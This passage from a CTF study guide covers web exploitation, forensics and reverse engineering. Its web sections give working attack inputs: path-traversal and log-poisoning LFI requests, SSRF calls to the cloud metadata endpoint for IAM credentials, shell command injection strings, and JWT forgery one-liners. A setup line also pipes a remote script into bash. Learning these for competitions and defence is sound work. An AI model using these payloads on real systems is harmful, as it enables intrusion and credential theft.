LFI is tricking a librarian into fetching a book from the staff-only back room because you disguised your request as a normal call number. SSRF is convincing the building's internal mail robot to deliver a message to a room the public isn't allowed to reach. Command injection is slipping a second, unauthorized instruction into a form the clerk blindly executes verbatim.

What it is

Three related 'the app does more than it should with your input' bugs: LFI/RFI (a file path parameter reads unintended files), SSRF (the SERVER makes a request to a URL you control/redirect), and command injection (your input reaches a shell command).

How to recognize it

Setup: `sudo apt install curl netcat-traditional`

- A parameter like ?page=about.php or ?file=report.pdf → suspect LFI (try path traversal)
- App fetches a URL you supply (image proxy, webhook tester, PDF-from-URL) → suspect SSRF
- App runs a system tool on your input (ping, DNS lookup, image conversion) → suspect command injection
- Error messages mention file paths, 'failed to open stream', or shell command syntax

Key indicators

Signal / Indicator	What it means
`?page=../../../../etc/passwd works`	Classic LFI via path traversal — confirms no path sanitization
`php://filter wrapper accepted`	LFI can be upgraded to source-code disclosure: php://filter/convert.base64-encode/resource=index.php

Signal / Indicator	What it means
`App fetches a URL param and you can point it at 127.0.0.1 or internal IPs`	SSRF confirmed — try cloud metadata endpoint 169.254.169.254 if it's cloud-hosted
`Input like ; whoami` or `| whoami` changes command output`	Command injection confirmed — shell metacharacters are being interpreted

Commands & tools explained

Command	What it does / result
`curl 'http://target/index.php?page=../../../../etc/passwd'`	Classic Linux LFI test — reading /etc/passwd is the standard 'proof it works' file.
`curl 'http://target/index.php?page=php://filter/convert.base64-encode/resource=index.php'`	Reads the PHP source code itself (base64-encoded to avoid execution) — often reveals flag or further vulnerable code.
`curl 'http://target/index.php?page=../../../../var/log/apache2/access.log'`	LFI-to-RCE technique: poison the log with a PHP payload in your User-Agent, then include the log file to execute it.
`curl 'http://target/fetch?url=http://127.0.0.1:80/admin'`	SSRF test: makes the SERVER request an internal-only admin page on your behalf, bypassing network-level access control.
`curl 'http://target/fetch?url=http://169.254.169.254/latest/meta-data/'`	On cloud-hosted targets, SSRF into the metadata endpoint can leak IAM credentials — a very common CTF/real-world SSRF flag.
`8.8.8.8; cat /etc/passwd  (into a 'ping this IP' field)`	Command injection test: appends a second shell command after the expected one using a semicolon.
`8.8.8.8 && whoami  /  8.8.8.8 | whoami`	Alternative command-chaining operators to try if semicolon is filtered.

Resources & wordlists

- PayloadsAllTheThings Directory Traversal and SSRF folders — dozens of filter-bypass path traversal encodings
- SecLists Fuzzing/LFI/ for automated LFI path lists (great with ffuf/Burp Intruder)

Pro tips

- When path traversal is filtered, try encoding tricks: ..%2f..%2f, double URL-encoding, or null byte tricks on old PHP versions
- LFI is often escalatable to full RCE via log poisoning, php://filter chains, or /proc/self/environ — don't stop at just reading files
- On SSRF, always try the cloud metadata IP (169.254.169.254) even if you don't think it's cloud-hosted — costs nothing to check

Next step

File read → search content for the flag directly → command injection confirmed → chain to `cat flag.txt` or a reverse shell one-liner for full access → SSRF confirmed → pivot to internal-only endpoints/admin panels not reachable from outside.

10 JWT, Cookies, IDOR & Auth Bypass

Web Exploitation | Token tampering, alg=none, sequential IDs, broken access control

Analogy

A JWT is a sealed envelope with your name and privileges written inside, plus a wax seal (signature) proving no one tampered with it. If the mail room forgot to actually check the wax seal, you can just write 'admin' on a new envelope yourself and walk right in.

What it is

Modern web apps use tokens (JWT) and cookies to track who you are, and often use predictable IDs in URLs. CTF challenges frequently hide the flag behind broken authorization logic rather than a classic injection bug.

How to recognize it

Setup: `No install needed for basic testing — jwt.io (web) or pyjwt for scripting`

- App uses a long dotted string (xxx.yyy.zzz) as a token/cookie → it's a JWT, decode it first, always
- A URL/API contains a numeric or sequential ID (?user_id=104) → test changing it to someone else's (IDOR)
- Cookie values look like readable/flippable data (role=user, isAdmin=false) → test tampering with it directly
- Login works, but certain pages/actions still say 'forbidden' → look for a direct link/endpoint that skips the check entirely

Key indicators

Signal / Indicator	What it means
`JWT header alg field says HS256 but you don't know the secret`	Try alg=none attack — some libraries wrongly accept unsigned tokens if you strip the signature
`You suspect the server verifies with a public key (RS256)`	Algorithm confusion attack: re-sign the token as HS256 using the PUBLIC key as the HMAC secret
`Cookie/localStorage has isAdmin=false or role=user in plain text`	Just flip the value directly — no crypto needed if it isn't signed

Signal / Indicator	What it means
`IDs are sequential integers in the URL`	IDOR: try adjacent numbers to access other users' data
`A hidden admin panel exists but requires login`	Try accessing it directly via its URL while logged in as a normal, low-privilege user

Commands & tools explained

Command	What it does / result
`Paste token into jwt.io`	Instantly decodes header + payload of any JWT (no secret needed for reading — only the signature needs the secret).
`python3 -c "import jwt; print(jwt.encode({'user':'admin'}, '', algorithm='none'))"  (then strip trailing dot per server's exact 'none' handling)`	Crafts an unsigned 'alg: none' token — works only if the server library has this known misconfiguration.
`python3 -c "import jwt; print(jwt.encode({'user':'admin'}, open('public.pem').read(), algorithm='HS256'))"`	Algorithm confusion attack: signs a forged token with HS256 using the server's own RS256 public key as the shared secret.
`curl -H "Cookie: role=admin" http://target/admin`	Directly tests a suspected plaintext role cookie by changing its value and requesting a privileged page.
`curl http://target/api/user/105/profile  (after being told you are user 104)`	Tests IDOR by simply incrementing an ID in an authenticated request.
`curl http://target/admin/dashboard -H "Cookie: session=<your_normal_user_cookie>"`	Tests for missing function-level access control — visiting an admin URL directly as a regular logged-in user.

Resources & wordlists

- jwt_tool (github.com/ticarpi/jwt_tool) — automates alg=none, algorithm confusion, and weak-secret brute-forcing
- PayloadsAllTheThings JSON Web Token folder for a full attack reference

Pro tips

- ALWAYS decode a JWT first (jwt.io) even if you're not attacking it yet — the payload itself sometimes leaks useful info (username, role, even hints)
- Try common weak JWT secrets with jwt_tool's brute-force mode (secret, password, 123456) before assuming it's uncrackable
- IDOR is one of the easiest, most-overlooked bug classes — always try changing an ID after you're logged in, even if the app 'looks' secure

Next step

Forged token/tampered cookie accepted → access the now-unlocked admin/other-user resource → flag is typically displayed directly on that page/endpoint.

11 File Identification & Magic Bytes

Digital Forensics | .raw, .bin, .exe — what am I actually looking at?

Analogy

Every file format has a fingerprint at its very first few bytes — like a passport's cover design. A .exe always starts 'MZ', a PNG always starts with a specific 8-byte signature. Renaming a file's extension doesn't change its real fingerprint, so checking magic bytes tells you the truth no matter what the filename claims.

What it is

The universal FIRST step for any forensics or misc challenge that hands you a file: figure out what it actually is (not just what its extension says), since CTF authors frequently rename/hide/append files to trick naive tools.

How to recognize it

Setup: `sudo apt install binutils file binwalk foremost exiftool xxd hexdump`

- File extension is unusual, missing, or explicitly says .raw/.bin/.unknown
- file command output doesn't match the given extension (e.g. a '.txt' that file identifies as a 'Zip archive')
- File size seems too large for what it's supposed to contain → likely has hidden/appended data
- Challenge explicitly says 'what is this file?' or gives you a mystery blob

Key indicators

Signal / Indicator	What it means
`4D 5A (MZ)`	Windows PE executable (.exe/.dll)
`7F 45 4C 46 (.ELF)`	Linux ELF executable
`89 50 4E 47 (.PNG)`	PNG image
`FF D8 FF`	JPEG image

Signal / Indicator	What it means
`50 4B 03 04 (PK..)`	ZIP archive (also .docx/.xlsx/.jar/.apk — all are ZIPs internally)
`1F 8B`	GZIP compressed data
`25 50 44 46 (%PDF)`	PDF document
`52 61 72 21 (Rar!)`	RAR archive

Commands & tools explained

Command	What it does / result
`file mystery.bin`	Reads magic bytes and reports the real file type — always your very first command on any unknown file.
`xxd mystery.bin | head -5`	Manually eyeballs the first bytes in hex+ASCII — useful when `file` says 'data' (unrecognized) and you want to compare against a magic-byte cheat sheet yourself.
`binwalk mystery.bin`	Scans the ENTIRE file for embedded/hidden file signatures anywhere inside it, not just at the start — finds files hidden inside other files.
`binwalk -e mystery.bin`	Automatically extracts every embedded file binwalk finds into a new folder — huge time-saver for 'file within a file' challenges.
`foremost -i mystery.raw -o output/`	Carves known file types (images, docs, archives) out of a raw/disk-image blob based on header/footer signatures, even without a filesystem.
`exiftool mystery.jpg`	Dumps all metadata (camera model, GPS coordinates, software used, even hidden comments) — check this on every image/document file.
`strings mystery.bin | grep -i flag`	Extracts all printable text strings from ANY file type and searches for the flag format directly — works even on binaries you haven't identified yet.
`cmp file1 file2` or `diff <(xxd file1) <(xxd file2)`	Compares two similar-looking files byte-for-byte — CTFs sometimes hide the flag as the only difference between two otherwise-identical files.

Resources & wordlists

- Gary Kessler's File Signatures Table (online) — the definitive magic-bytes reference for hundreds of formats
- binwalk's built-in signature database — covers most CTF-relevant embedded-file scenarios automatically

Pro tips

- Run `file`, `binwalk`, `strings | grep flag` and `exiftool` on EVERY forensics file within the first 60 seconds — this trio alone solves a large share of easy/medium challenges
- If a file extension was clearly wrong, rename it to the correct one (per magic bytes) before opening it in any specialized viewer — some tools refuse to open 'wrong' extensions
- A file that's much bigger than it should be (e.g. a tiny image that's 50MB) almost always has appended/hidden data — binwalk -e it immediately

Next step

Real file type identified as an image → go to Image Steganography page → identified as a filesystem/disk image → go to Disk/Raw Image Analysis page → identified as a capture file → go to Network Forensics page → identified as an executable → go to Reverse Engineering pages.

12 Image Steganography

Digital Forensics | steghide, zsteg, StegSolve, LSB, metadata

Analogy

Steganography hides a message not by locking it, but by making it invisible in plain sight — like writing with invisible ink between the lines of an ordinary letter, or tucking a tiny note into the seam of a painting's frame where no one thinks to look.

What it is

An image file (PNG/JPG/BMP/GIF) contains a hidden flag, either in its metadata, in a tool-specific hidden container (steghide), or encoded directly into the pixel data itself (LSB — least significant bit manipulation).

How to recognize it

Setup: `sudo apt install steghide exiftool && pip install zsteg # zsteg is actually a Ruby gem: gem install zsteg`

- Challenge category is explicitly 'Steganography' or 'Stego' and gives you an image
- Image file size is unusually large for its dimensions/quality
- exiftool shows a 'Comment' field, unusual software tag, or GPS data that seems out of place
- Zooming into the image or checking color channels separately reveals visible artifacts/patterns

Key indicators

Signal / Indicator	What it means
`PNG file, suspiciously large or with visible pixel noise`	Try zsteg first — it's built specifically for PNG/BMP LSB steganography
`JPG file`	Try steghide extract (works on JPG/BMP/WAV) — often needs a passphrase, try blank/common ones first
`exiftool shows a Comment/Artist/Software field with odd text`	That text itself might BE the flag, or a hint/passphrase for steghide
`Image looks visually 'off' — repeating patterns, color banding`	Open in StegSolve and cycle through bit-planes/color filters to reveal a hidden image or QR code

Commands & tools explained

Command	What it does / result
`exiftool image.jpg`	Always check metadata FIRST — flags are sometimes just sitting in a Comment or Author field.
`steghide extract -sf image.jpg`	Attempts to extract hidden data from a JPG/BMP/WAV, prompting for a passphrase (try blank first by pressing Enter).
`steghide extract -sf image.jpg -p ''`	Explicitly tries an empty passphrase — a very common CTF shortcut.
`zsteg -a image.png`	Runs ALL of zsteg's detection methods against a PNG — checks every bit-plane and channel combination automatically, usually the fastest way to crack LSB stego.
`zsteg -E b1,r,lsb,xy image.png`	Manually extracts data from a specific bit-plane/channel if zsteg -a found something interesting but didn't auto-decode it.
`stegsolve.jar (GUI)`	Opens the image and lets you flip through color channels, bit planes, and XOR/overlay two images — great for anything visual that automated tools miss.
`binwalk -e image.png`	Checks for a completely different embedded file (zip, another image) appended after the PNG's actual end-of-file marker — very common trick.
`pngcheck -v image.png`	Validates PNG chunk structure — reveals unusual/extra chunks that might contain hidden data.

Resources & wordlists

- rockyou.txt for steghide passphrase brute-forcing (stegcracker/stegseek automate this)
- stegseek (github.com/RickdeJager/StegSeek) — a MUCH faster steghide cracker than the classic stegcracker

Pro tips

- Run the trio exiftool → zsteg -a (PNG) or steghide extract -p '' (JPG) → binwalk -e within the first minute on any stego image
- If steghide needs a real passphrase, use stegseek with rockyou.txt instead of guessing manually — it's dramatically faster
- Always check binwalk on stego images too — sometimes the 'stego' is just a plain appended ZIP after the image's real end

Next step

Extracted file/text found → if it's another file (zip/txt/another image), repeat File Identification on it → if it's the flag text directly, submit it.

13 Audio Steganography

Digital Forensics | Spectrograms, Sonic Visualizer, Audacity, DTMF, Morse in audio

Analogy

Hiding a message in audio is like whispering a secret so quietly that normal ears never notice — but a spectrum analyzer 'sees' sound as a picture, and a hidden picture (drawn in frequencies) or a hidden clicking pattern (Morse code) shows up instantly once you look at the right visualization.

What it is

A .wav/.mp3 file where the flag is hidden either visually in the audio's spectrogram (a picture drawn using specific frequencies over time), encoded as Morse code beeps, DTMF tones (phone keypad sounds), or via LSB in the raw audio samples (steghide works on WAV).

How to recognize it

Setup: `sudo apt install audacity sox steghide # Sonic Visualizer: download from sonicvisualiser.org`

- Challenge gives an audio file with no obvious explanation
- Audio 'sounds weird' — repetitive beeps, static, or oddly structured tones
- File is WAV format specifically (steghide only supports WAV, not MP3, for audio)
- Hint mentions 'look at it differently' or 'what do you see' about an audio file — strong hint for spectrogram analysis

Key indicators

Signal / Indicator	What it means
`Rhythmic short/long beeps`	Morse code — decode by ear or feed to an online Morse decoder
`Two-tone beeps like a phone keypad`	DTMF tones — use an online DTMF decoder or Audacity's frequency analysis

Signal / Indicator	What it means
`WAV file, otherwise unremarkable`	Try steghide extract — WAV is a supported carrier format
`Hint mentions 'spectrogram' or 'picture in sound'`	Open in Sonic Visualizer or Audacity's spectrogram view — flags are often drawn as text/QR directly into the frequency spectrum

Commands & tools explained

Command	What it does / result
`steghide extract -sf audio.wav -p ''`	Tries to extract steghide-hidden data from a WAV file with an empty passphrase first.
`Audacity: Analyze > Plot Spectrum, or switch track view to 'Spectrogram'`	Visualizes frequency content over time — hidden text/images drawn into the spectrum become visible instantly.
`Sonic Visualizer: open file, add a 'Spectrogram' layer`	Often gives clearer, more zoomable spectrogram visuals than Audacity — the go-to tool when Audacity's view isn't sharp enough.
`sox audio.wav -n spectrogram -o spectrogram.png`	Command-line alternative: generates a spectrogram PNG image directly from the audio file, no GUI needed.
`Online Morse code decoder (e.g. morsecode.world)`	Paste the dot/dash pattern you hear/see, or upload audio directly, to auto-decode Morse into text.
`Online DTMF decoder (e.g. dialabc.com/sound/detect)`	Upload the audio to automatically identify which phone keys were 'pressed' based on the tone pairs.

Resources & wordlists

- morsecode.world — free online Morse audio-to-text decoder
- dialabc.com DTMF decoder — free online tone-to-digit decoder

Pro tips

- Spectrogram view is the single highest-value technique for audio stego — always check it before anything else, even if the audio 'sounds' normal
- If the audio has a WAV extension, always also try steghide extract as a quick parallel check — costs nothing
- Slow down or reverse suspicious audio in Audacity (Effect > Change Speed, or reverse) — some challenges hide a spoken flag played backwards or too fast to understand normally

Next step

Spectrogram reveals text/QR/image → read it directly or screenshot and decode the QR → Morse/DTMF decoded → convert the resulting digits/letters into the flag format.

14 Memory Forensics

Digital Forensics | Volatility — analyzing a RAM dump

Analogy

A running computer's RAM is like a chef's kitchen mid-service: half-cooked dishes, open recipe books, and notes are all still out on the counter. A memory dump freezes that exact messy moment in time — Volatility is the inspector who can walk through that frozen kitchen and read every note, even ones that were about to be thrown away.

What it is

You're given a memory dump (.raw, .mem, .vmem, .dmp) — a snapshot of a computer's RAM at some point in time. Volatility (or Volatility 3) parses this to reconstruct running processes, open network connections, loaded files and even fragments of typed text or dumped credentials, all still resident in memory.

How to recognize it

Setup: `pip install volatility3 # or: git clone https://github.com/volatilityfoundation/volatility3`

- File extension is .raw/.mem/.vmem/.dmp, or `file` identifies it as generic 'data' but it's suspiciously large (hundreds of MB to GBs)
- Challenge mentions 'memory dump', 'RAM', or gives you a VM snapshot
- Category explicitly says 'Memory Forensics' or references Volatility

Key indicators

Signal / Indicator	What it means
`Unknown OS/profile`	Run `imageinfo` / `windows.info` first — you MUST know the OS/profile before most other plugins work
`Suspicious process needed`	`pslist` / `pstree` shows every process that was running, including hidden/injected ones
`Credentials suspected`	`hashdump` (Windows) dumps password hashes straight from memory

Signal / Indicator	What it means
`Malware/injected code suspected`	`malfind` flags memory regions with typical code-injection characteristics
`A specific process's data needed`	`memdump` / `procdump` extracts that process's memory or executable back to a file for further analysis

Commands & tools explained

Command	What it does / result
`vol.py -f memdump.raw windows.info`	(Volatility 3) Identifies the OS version/profile of the memory dump — the mandatory first command.
`vol.py -f memdump.raw windows.pslist`	Lists every process that was running at capture time, with PID, PPID and timestamps.
`vol.py -f memdump.raw windows.pstree`	Same as pslist but shown as a parent-child tree — easier to spot a suspicious process spawned by an unexpected parent.
`vol.py -f memdump.raw windows.cmdline`	Shows the full command line each process was launched with — often reveals exactly what a suspicious process was doing.
`vol.py -f memdump.raw windows.filescan | grep -i flag`	Scans for file objects still referenced in memory and greps for anything with 'flag' in the name.
`vol.py -f memdump.raw windows.dumpfiles --pid <PID>`	Extracts files that a specific process had open back to disk for further inspection.
`vol.py -f memdump.raw windows.hashdump`	Dumps Windows password hashes directly from memory (SAM database cached in RAM).
`vol.py -f memdump.raw windows.malfind`	Flags memory regions showing signs of process injection or unusual executable permissions — a lead for hidden malware/payloads.

Resources & wordlists

- Volatility 3 plugin list (volatility3.readthedocs.io) — browse all available plugins for the identified OS
- SANS Memory Forensics cheat sheet — quick command reference by scenario

Pro tips

- Always run the info/imageinfo plugin FIRST — nearly every other plugin needs the correct OS profile to work at all
- pstree + cmdline together usually reveal the 'story' of what happened on the machine fastest
- filescan combined with grep -i flag is a quick win worth trying early, before deep-diving into any one process

Next step

Suspicious process/file found → dumpfiles/procdump it to disk → run normal File Identification + strings on the result → credentials dumped → try them against any login prompts elsewhere in the challenge.

15 Network Forensics (PCAP Analysis)

Digital Forensics | Wireshark for CTF — extracting files & credentials from captures

Analogy

A packet capture is a full security-camera recording of every conversation that happened on a network. Most of it is boring small talk, but somewhere in that recording, someone said a password out loud, or handed over a secret envelope (a file) — you just need to scrub through the footage.

What it is

You're given a .pcap/.pcapng file containing captured network traffic. The flag is typically hidden in: a file transferred over the wire (HTTP/FTP), a cleartext credential, a DNS query, or a custom protocol's payload — the same core skills as the SOC Analyst playbook, applied offensively here.

How to recognize it

Setup: `sudo apt install wireshark tshark`

- Challenge gives a .pcap/.pcapng file, category is 'Network' or 'Forensics'
- Wireshark shows FTP/HTTP/Telnet traffic → check for cleartext creds or transferred files directly
- DNS queries look unusually long or frequent → possible DNS exfiltration/tunneling of the flag
- A specific TCP stream, when followed, shows readable text mentioning 'flag'

Key indicators

Signal / Indicator	What it means
`HTTP traffic present`	File > Export Objects > HTTP pulls out every file transferred — check them all
`FTP/Telnet present`	Follow the TCP stream — credentials and commands are in cleartext
`Unusual/long DNS queries`	Possible DNS tunneling — extract and Base64/hex-decode the subdomain labels

Signal / Indicator	What it means
`USB/keyboard capture (unusual pcap type)`	Some challenges capture USB HID traffic — decode keystrokes from USB capture data specifically
`Custom/unknown protocol on a high port`	Follow the stream anyway and look for a recognizable pattern or embedded file signature

Commands & tools explained

Command	What it does / result
`wireshark capture.pcapng`	Open interactively — start with Statistics > Protocol Hierarchy to see what's actually in the capture at a glance.
`File > Export Objects > HTTP`	GUI action: extracts every file transferred over HTTP in the capture straight to disk.
`tshark -r capture.pcap --export-objects http,./out`	Command-line equivalent — extracts all HTTP objects into the ./out folder.
`Right-click any packet > Follow > TCP Stream`	Reassembles a full conversation into readable text — the single most useful Wireshark action for CTFs.
`tshark -r capture.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg`	Extracts FTP commands/arguments directly, including USER/PASS credential attempts.
`tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | sort -u`	Lists every unique DNS query made — scan for unusually long/encoded-looking subdomains suggesting exfiltration.
`strings capture.pcap | grep -i flag`	Quick and dirty: searches the entire raw capture file for the literal flag format, sometimes just finds it directly.
`tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data`	Extracts POST body data from HTTP requests — often contains submitted form data, including credentials or a flag submission.

Resources & wordlists

- Wireshark's built-in display filter reference (wireshark.org/docs/dfref/)
- SANS 'Wireshark and Network Forensics' cheat sheet for common CTF filter patterns

Pro tips

- Statistics > Protocol Hierarchy is the fastest orientation step — tells you instantly whether to expect HTTP files, FTP creds, or something more exotic
- strings capture.pcap | grep -i flag costs nothing and occasionally just wins the challenge instantly — always try it first
- For DNS tunneling challenges, extract all the query name labels in order and try Base64/hex-decoding the concatenated result

Next step

File extracted → run File Identification on it → credentials found → try them on any login mentioned elsewhere in the challenge → flag text found directly → submit it.

16 Disk / Raw Image Analysis

Digital Forensics | .raw, .dd, .img — mounting, carving, Autopsy/Sleuthkit

Analogy

A raw disk image is an exact photocopy of an entire filing cabinet, drawer by drawer, page by page — including torn-up notes still sitting in the wastebasket that hasn't been emptied yet. Forensic tools let you flip through the copy as if it were the real cabinet, and even reconstruct the torn-up notes (deleted files).

What it is

A .raw/.dd/.img file is a bit-for-bit copy of a disk or partition. Unlike a single file, this may contain an entire filesystem with multiple files, deleted data still recoverable, and filesystem metadata (timestamps, permissions) that can itself be a clue.

How to recognize it

Setup: `sudo apt install sleuthkit autopsy testdisk`

- File is very large (hundreds of MB+) and `file` reports it as a filesystem/boot sector/partition table
- Challenge explicitly mentions 'disk image', 'forensic image', or gives a .dd/.img/.raw file
- You need to find a deleted file, or examine file timestamps/metadata as part of the puzzle

Key indicators

Signal / Indicator	What it means
`file` reports a partition table / filesystem type	Mount it (read-only) or open directly in Autopsy/Sleuthkit — don't just strings/binwalk a whole disk image blindly
You need to browse files/folders normally	Mount read-only with a loopback device, or use Sleuthkit's fls/icat for a filesystem-aware view

Signal / Indicator	What it means
A file was deleted and needs recovery	photorec/testdisk or Sleuthkit's istat + icat on the deleted inode
You need timestamps/metadata, not just file content	Sleuthkit's `fls -m` or Autopsy's timeline view reconstructs a full activity timeline

Commands & tools explained

Command	What it does / result
`file disk.raw`	Confirms it's a real disk/partition image and often identifies the filesystem type (ext4, NTFS, FAT32).
`mmls disk.raw`	Sleuthkit: lists the partition table so you know the byte offset of each partition before mounting/analyzing.
`sudo mount -o ro,loop,offset=<bytes> disk.raw /mnt/evidence`	Mounts a specific partition (using the offset from mmls) read-only so you can browse it like a normal folder.
`fls -r disk.raw`	Sleuthkit: recursively lists every file and directory in the image, including DELETED entries (marked separately) — no mounting needed.
`icat disk.raw <inode_number> > recovered_file`	Sleuthkit: extracts a specific file's content by inode number, even if it was deleted, straight to a new file.
`autopsy  (opens a local web UI)`	Full GUI forensic suite: ingest the image once and browse files, deleted data, timelines and even keyword search across everything.
`photorec disk.raw`	Signature-based file carving tool — recovers files by content pattern even from a badly damaged or unmounted image.
`strings disk.raw | grep -i flag`	Quick blind search across the raw image for the flag text — worth trying in parallel while proper analysis runs.

Resources & wordlists

- Sleuthkit documentation (sleuthkit.org) for the full fls/icat/mmls command reference
- Autopsy user guide for a GUI-first walkthrough if command-line tools feel overwhelming

Pro tips

- ALWAYS work on a copy of the image, and mount with -o ro (read-only) — accidentally writing to the evidence can corrupt what you're looking for
- Run mmls before mounting anything — mounting at the wrong byte offset gives you garbage or fails outright
- fls -r showing a deleted file is your cue to grab its inode number and icat it out — don't assume deleted means gone

Next step

File recovered/extracted → run File Identification on it → filesystem metadata reveals a suspicious timestamp/filename → that IS often the clue/flag itself, or points to which exact file to examine further.

17 Static Analysis Basics

Reverse Engineering | file, strings, objdump, readelf, Ghidra/IDA

Analogy

Static analysis is reading a locked diary's cover, binding, and page count without ever opening it — you can already learn the language it's written in, roughly how long the story is, and sometimes even spot a name accidentally printed on the spine, all before you 'run' anything.

What it is

Examining a binary (.exe/.elf) WITHOUT executing it: identifying its type/architecture, extracting readable strings, listing its functions/imports, and eventually reading its disassembled or decompiled logic in a tool like Ghidra. This is always the first step before dynamic (running) analysis.

How to recognize it

Setup: `sudo apt install binutils file # Ghidra: download from ghidra-sre.org (free, NSA-developed)`

- You're given an .exe (Windows PE) or a Linux ELF binary with no source code
- Challenge says 'reverse engineer this' or 'find the password/flag the binary checks for'
- You want to understand a program's logic before risking running unknown/malicious-looking code

Key indicators

Signal / Indicator	What it means
`MZ header`	Windows PE executable — analyze in Ghidra/IDA, run with Wine on Linux if needed
`.ELF header`	Linux executable — check architecture (32/64-bit) with `file` before choosing tools
`Stripped binary (no symbol names)`	Function names are gone but logic remains — Ghidra can still decompile, just with generic names like FUN_00401234

Signal / Indicator	What it means
`Packed/UPX-compressed`	File size is small but 'high entropy' — unpack with `upx -d` before analysis makes sense
`Very short strings output`	Binary may be packed/obfuscated, or written in a language with little readable text (Rust/Go strip more aggressively)

Commands & tools explained

Command	What it does / result
`file challenge.exe`	Identifies architecture, bitness, and whether it's stripped/packed — your first command on any binary.
`strings challenge.exe | grep -i flag`	Extracts readable text and searches for the flag directly — solves surprisingly many 'easy' RE challenges instantly.
`strings -n 8 challenge.exe | less`	Lists all strings of at least 8 characters — filters out short/noisy matches to focus on meaningful text.
`objdump -d challenge.exe | less`	Disassembles the binary into raw assembly — useful for quick checks without a full GUI tool.
`readelf -h challenge.exe (Linux)`	Shows ELF header details — entry point, architecture, and section layout.
`upx -d challenge.exe`	Decompresses a UPX-packed binary back to its original, analyzable form.
`ghidra (GUI)`	Import the binary, let auto-analysis run, then browse the decompiled pseudo-C in the Decompile window — the main tool for understanding program logic without running it.
`ltrace ./challenge (careful — this actually runs it, see Dynamic Analysis page)`	Shown here for contrast: static tools never execute the binary; ltrace/gdb do.

Resources & wordlists

- Ghidra (free, ghidra-sre.org) — the standard free decompiler for CTF RE
- IDA Free (hex-rays.com) — alternative free decompiler, weaker free-tier decompilation than Ghidra but excellent disassembly view

Pro tips

- Run `strings | grep -i flag` on literally every binary you're given — it's free and occasionally solves the challenge outright
- If Ghidra's decompiler output looks confusing, cross-reference with the raw disassembly (Listing window) alongside it
- A packed/UPX binary MUST be unpacked before static analysis makes sense — check entropy/size mismatch as your clue

Next step

Found the flag string directly → submit it → found comparison logic (e.g. strcmp against a hidden string) → that string IS often the password/flag → logic too complex to read statically → move to Dynamic Analysis / Debugging page to watch it execute step by step.

18 Dynamic Analysis & Debugging

Reverse Engineering | gdb, pwndbg/gef, ltrace, strace — watching it run

Analogy

If static analysis is reading a car's blueprint, dynamic analysis is popping the hood while the engine runs and watching exactly which parts move, in what order, and what values flow through — you learn things blueprints alone never show you, like a hidden diagnostic check that only appears once you turn the key.

What it is

Running the binary under a debugger (gdb) or tracer (ltrace/strace) to observe its actual behavior: what functions get called, what values variables hold at runtime, and where exactly a 'wrong password' check happens — often far faster than reading disassembly cold.

How to recognize it

Setup: `sudo apt install gdb # then: pip install pwndbg (or use gef: bash -c "$(curl -fsSL https://gef.blah.cat/sh)")`

- Static analysis showed a comparison but you can't tell what value it compares against at runtime
- Binary takes interactive input (asks for a password/flag) and you want to see what happens step by step
- You need to skip past an anti-debugging check or jump directly to the 'success' branch

Key indicators

Signal / Indicator	What it means
`Program asks for input then exits immediately with 'Wrong!'`	Set a breakpoint right after the input is read, then step through the comparison logic
`You suspect anti-debugging (ptrace checks)`	Patch out the ptrace call, or use a debugger with anti-anti-debug plugins
`You want to skip a time-consuming check`	Set the relevant register/return value manually with gdb, then continue execution
`Segfault occurs unexpectedly`	This might be intentional (a buffer overflow challenge) — see the Binary Exploitation pages instead

Commands & tools explained

Command	What it does / result
`gdb ./challenge`	Starts gdb on the target binary — the standard starting point for any dynamic analysis.
`break main (inside gdb)`	Sets a breakpoint at the start of main() so execution pauses before the program's real logic begins.
`run (inside gdb)`	Starts executing the program up to the first breakpoint.
`disassemble main (inside gdb, or with pwndbg/gef enhanced view)`	Shows the assembly of the current function so you know what to step through next.
`stepi / nexti (inside gdb)`	Steps one assembly instruction at a time (stepi enters calls, nexti steps over them) — the core rhythm of manual debugging.
`x/s $rsi or x/20xb $rsp (inside gdb)`	Examines memory at a register's address as a string or as raw hex bytes — reveals what data a comparison is actually working with.
`ltrace ./challenge`	Traces every LIBRARY call (strcmp, malloc, printf) the program makes with its arguments — often reveals the exact string being compared against your input without any manual stepping.
`strace ./challenge`	Traces every SYSTEM call (read, write, open) the program makes — useful for spotting file access or network activity a binary makes secretly.

Resources & wordlists

- pwndbg (github.com/pwndbg/pwndbg) — massively improves gdb's default output for CTF/exploitation work
- gef (github.com/hugsy/gef) — alternative gdb enhancement, similar goal to pwndbg, pick either one

Pro tips

- `ltrace ./challenge` is often the single fastest win on a 'guess the password' binary — it shows the strcmp() call with the real expected string in plain sight, no manual debugging needed
- Install pwndbg or gef immediately — plain gdb's default interface is painful for CTF work; these give you a much richer live view of registers/stack/disassembly
- If input is read then checked far later in the program, set your breakpoint at the comparison function (found via static analysis) rather than single-stepping the whole way there

Next step

Expected string/value found via ltrace or memory inspection → that's likely the flag/password directly → logic still unclear → go back to Ghidra with this new information (you now know a specific address/function to focus decompilation on).

19 Patching Binaries & Anti-Debug Bypass

Reverse Engineering | NOP-ing checks, flipping jumps, ptrace bypass

Analogy

Patching a binary is like sneaking into a play and quietly rewriting one line of the script taped to an actor's clipboard — you don't rebuild the whole theater, you just change the one line that decides whether the hero 'succeeds' or 'fails' at the crucial moment.

What it is

Directly modifying a binary's machine code (usually just a few bytes) to change its behavior — flipping a conditional jump so 'wrong password' becomes 'correct password', replacing an anti-debugging check with harmless no-op instructions, or forcing a branch to always take the success path.

How to recognize it

Setup: `sudo apt install gdb radare2 # Ghidra also supports limited patching via its built-in assembler`

- The check itself is complex, but you just need the program to REACH the success branch, not understand the check mathematically
- Binary detects a debugger (calls ptrace, checks /proc/self/status) and exits/behaves differently when debugged
- You've found via static/dynamic analysis exactly which jump instruction decides success vs failure

Key indicators

Signal / Indicator	What it means
`JE/JNE (jump if equal/not equal) right after a comparison`	This is almost always the pass/fail decision point — flipping it flips the outcome
`Call to ptrace(PTRACE_TRACEME, ...)`	Classic anti-debug check — patch this call's return value or NOP it out entirely
`TracerPid in /proc/self/status is checked`	Another anti-debug technique — patch out the check or the branch that acts on it
`Program behaves differently when run under gdb vs standalone`	Confirms anti-debugging is present somewhere — find it with strace/ltrace, then patch it out

Commands & tools explained

Command	What it does / result
`radare2 -w ./challenge`	Opens the binary in radare2 with write mode enabled, ready for patching.
`s 0x401234  (inside r2, seek to an address)`	Moves the 'cursor' to a specific address you identified via static analysis as the jump to flip.
